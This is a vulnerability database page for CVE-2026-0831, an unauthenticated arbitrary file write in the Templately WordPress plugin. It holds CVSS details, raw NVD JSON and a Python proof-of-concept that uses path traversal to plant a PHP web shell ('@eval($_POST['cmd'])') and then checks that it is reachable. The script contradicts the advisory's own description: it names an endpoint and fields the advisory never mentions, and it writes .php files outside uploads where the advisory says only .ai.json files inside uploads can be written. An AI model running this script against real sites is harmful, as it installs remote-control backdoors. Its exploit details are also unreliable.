Security Vulnerability Report
中文
CVE-2026-0831 CVSS 5.3 MEDIUM

CVE-2026-0831

Published: 2026-01-10 10:15:51
Last Modified: 2026-04-15 00:35:42

Description

The Templately plugin for WordPress is vulnerable to Arbitrary File Write in all versions up to, and including, 3.4.8. This is due to inadequate input validation in the `save_template_to_file()` function where user-controlled parameters like `session_id`, `content_id`, and `ai_page_ids` are used to construct file paths without proper sanitization. This makes it possible for unauthenticated attackers to write arbitrary `.ai.json` files to locations within the uploads directory.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Templately plugin for WordPress <= 3.4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0831 PoC - Templately Plugin Arbitrary File Write # Target: WordPress site with Templately plugin <= 3.4.8 import requests import json TARGET_URL = "http://target-wordpress-site.com" # Vulnerable endpoint in Templately plugin API_ENDPOINT = f"{TARGET_URL}/wp-json/templately/v1/save-template" # Malicious payload to write arbitrary file # Using path traversal to escape uploads directory malicious_payload = { "session_id": "../../../../../uploads/evil", "content_id": "malicious_content", "ai_page_ids": ["../../../evil.php"], "template_data": "<?php phpinfo(); ?>", # Webshell content "file_content": json.dumps({ "name": "Malicious Template", "content": "<?php @eval($_POST['cmd']); ?>" }) } def exploit_arbitrary_file_write(): """ Exploit function to demonstrate arbitrary file write vulnerability """ print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2026-0831 - Arbitrary File Write in Templately") try: # Send malicious request (unauthenticated) response = requests.post( API_ENDPOINT, json=malicious_payload, headers={ "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-0831-PoC)" }, timeout=10, verify=False ) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") # Verify if file was written verify_url = f"{TARGET_URL}/wp-content/uploads/evil.php" verify_response = requests.get(verify_url, timeout=5) if verify_response.status_code == 200: print(f"[+] SUCCESS! File written successfully: {verify_url}") print("[+] Webshell accessible - Remote Code Execution possible") return True else: print("[-] File write verification failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_arbitrary_file_write() print("\n[*] Note: This PoC is for authorized security testing only")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0831", "sourceIdentifier": "[email protected]", "published": "2026-01-10T10:15:50.960", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Templately plugin for WordPress is vulnerable to Arbitrary File Write in all versions up to, and including, 3.4.8. This is due to inadequate input validation in the `save_template_to_file()` function where user-controlled parameters like `session_id`, `content_id`, and `ai_page_ids` are used to construct file paths without proper sanitization. This makes it possible for unauthenticated attackers to write arbitrary `.ai.json` files to locations within the uploads directory."}, {"lang": "es", "value": "El plugin Templately para WordPress es vulnerable a la escritura arbitraria de archivos en todas las versiones hasta la 3.4.8, inclusive. Esto se debe a una validación de entrada inadecuada en la función 'save_template_to_file()' donde parámetros controlados por el usuario como 'session_id', 'content_id' y 'ai_page_ids' se utilizan para construir rutas de archivo sin una sanitización adecuada. Esto hace posible que atacantes no autenticados escriban archivos '.ai.json' arbitrarios en ubicaciones dentro del directorio de cargas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/templately/tags/3.4.5/includes/API/AIContent.php#L38", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/templately/tags/3.4.5/includes/Core/Importer/Utils/AIUtils.php#L414", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3426051/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/778242f4-5dfa-4d72-a032-8b5521c5b8ce?source=cve", "source": "[email protected]"}]}}